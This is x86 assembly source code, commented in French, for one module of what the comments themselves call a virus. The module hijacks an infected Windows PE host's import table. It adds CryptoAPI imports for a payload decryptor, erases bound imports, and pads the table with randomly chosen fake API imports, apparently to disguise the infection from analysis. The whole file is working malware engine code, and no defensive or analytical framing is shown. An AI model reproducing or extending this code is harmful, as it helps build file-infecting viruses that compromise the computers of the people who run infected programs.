;MODULE : FUSION IMPORTS ;Ce module est chargé de détourner l'IAT de l'hôte et d'importer les API nécessaires ;au décrypteur ; iat_crypto_decrypteur: db 'CryptAcquireContextA',0 db 'CryptCreateHash',0 db 'CryptHashData',0 db 'CryptDeriveKey',0 db 'CryptDecrypt',0 dd 0 ;IMPORTS_INIT: initialise le module ; in : edx--> pe header ; out : imports_init proc near pusha mov eax,[ebp+infection_rva] mov [edx+80h],eax ;tout d'abord, on met la nouvelle iat au debut du virus mov ecx,TAILLE_IMPORTS xor eax,eax dec eax rep stosb add [edx+84h],dword ptr NB_DLLS_IMPORTEES*14h xor eax,eax ;efface les bounds imports pour forcer le traitement de l'IAT lea edi,[edx+0D0h] stosd stosd popa ret imports_init endp ;ADD_IID_DECRYPTEUR : ajoute un iid à l'iat ; in : esi-> raw iat hote edi-->nouvelle raw iat ecx=size of host's imports eax->dll name ; out : add_iid_decrypteur proc near pusha mov edx,eax mov ebx,[ebp+infection_rva] lea ebx,[ebx+ecx+14h*NB_DLLS_IMPORTEES] ; fait de la place pour les deux IID (kernel32 et advapi32) mov [ebp+a32_oft],ebx add ebx,MAX_APIS_IMPORTEES*4 mov [ebp+a32_ft],ebx add ebx,MAX_APIS_IMPORTEES*4 mov [ebp+iat_noms_apis_rva],ebx lea ebx,[edi+ecx+14h*NB_DLLS_IMPORTEES+MAX_APIS_IMPORTEES*8] mov [ebp+iat_noms_apis_raw],ebx xor ebx,ebx recopie_ancienne_iat: mov ecx,14h rep movsb ;recopie l'ancienne IAT de l'hote cmp [esi+0ch],ebx ;ne copie pas l'IID nul jnz recopie_ancienne_iat push edi call cherche_espace mov edi,eax mov esi,edx ;rajoute l'iid mov ecx,13 rep movsb pop edi mov eax,[ebp+a32_oft] ;IID de advapi32.dll stosd xor eax,eax stosd stosd mov eax,ebx ;rva de "nomdll.dll" stosd mov eax,[ebp+a32_ft] stosd mov ecx,14h ;IID nul xor eax,eax rep stosb popa ret add_iid_decrypteur endp ;DEAL_IMPORTS : in : esi-> liste des apis à importer, eax->dll name ; deal_imports proc near pusha push eax call_ LoadLibrary mov ebx,eax xor ecx,ecx lea edx,[ebp+index_iat] ajoute_apis: ;================== fake imports mov eax,MAX_FAKE_APIS_IMPORTEES/MAX_REAL_APIS_IMPORTEES call rand_tuna mov edi,eax push esi ajoute_fake_api: call random_api_name call check_compatibilite_api ;api compat xp 2000 et 98 ? test esi,esi jz ajoute_fake_api call deal_1_import dec edi jns ajoute_fake_api pop esi ;================== real import mov [edx],ecx call deal_1_import add edx,4 cmp [esi],byte ptr 0 jnz ajoute_apis call deal_1_import jmp di4 ;remplit les trous laissée dans l'espace IMPORT (-1) par du rand() mov esi,[ebp+iat_noms_apis_raw] xor ebx,ebx dec bl mov ecx,TAILLE_IMPORTS-14h*3 di2: cmp [esi],bl jnz di3 mov edi,esi xor eax,eax dec eax call rand_tuna stosb di3: inc esi loop di2 di4: popa ret deal_imports endp ;RANDOM_API_NAME : renvoit un nom d'api aleatoire ; in : ebx--> HMODULE du dll ; out: esi--> rand apiname random_api_name proc near push ebx ecx edx edi mov edx,ebx mov ebx,[edx+3ch] add ebx,edx ; ebx--> PE Header du dll mov ecx,[ebx+78h] add ecx,edx ; ecx--> export table mov eax,[ecx+018h] ; nb de noms exportés call rand_tuna mov esi,[ecx+20h] ;liste des noms add esi,edx mov esi,[esi+eax*4] add esi,edx pop edi edx ecx ebx ret random_api_name endp ;DEAL_1_IMPORT : ajoute une api au FT et a l'OFT hooké ; in : esi->apiname, a32_oft renseigné, ecx=index dans l'OFT/FT ; out : esi-> juste apres l'apiname, ecx+=1 deal_1_import proc near push eax ebx edi recopie_api: xor eax,eax xor ebx,ebx cmp [esi],eax jz ra13 call cherche_espace ; eax-->espace libre(raw adresse) ebx(future rva) mov edi,eax xor ax,ax stosw ra12: lodsb test al,al stosb jnz ra12 ra13: mov edi,[ebp+a32_oft] ; oft lea eax,[edi+ecx*4] sub eax,[ebp+infection_rva] add eax,[ebp+infection_raw] ; rva-->raw mov [eax],ebx mov [eax+MAX_APIS_IMPORTEES*4],ebx ; ft inc ecx pop edi ebx eax ret deal_1_import endp ;CHERCHE_ESPACE: in : ; out : eax = raw adresse ; ebx = rva ;renvoie un bloc de TAILLE_API bytes de libres cherche_espace proc near push edi push ecx push edx mov edi,[ebp+iat_noms_apis_raw] cherche: xor eax,eax dec eax call rand_tuna xor edx,edx mov ecx,TAILLE_IMPORTS/2-TAILLE_API div ecx mov ecx,edx mov edx,TAILLE_API add ecx,edx dec edx not edx and ecx,edx ; aligne sur 32 octets, plus facile apres cmp byte ptr [edi+ecx+5],-1 jnz cherche lea eax,[edi+ecx] mov ebx,[ebp+iat_noms_apis_rva] add ebx,ecx pop edx pop ecx pop edi ret cherche_espace endp ;CHECK_COMPATIBILITE_API : verifie si l'api est dispo sous 98 xp et 2000 ;in : esi-->api name ;out: esi=0 si pas compat check_compatibilite_api proc near push eax edi ecx mov eax,esi call calc_crc mov edi,[ebp+poly_liste_apis_compat] mov ecx,[ebp+poly_nb_apis_compat] repnz scasd jz cca_compat xor esi,esi cca_compat: pop ecx edi eax ret check_compatibilite_api endp apis_gdi32_compatibles: dd "rien" apis_advapi_compatibles: include apis_advapi_compat.inc nb_apis_advapi_compatibles EQU ($ - offset apis_advapi_compatibles)/4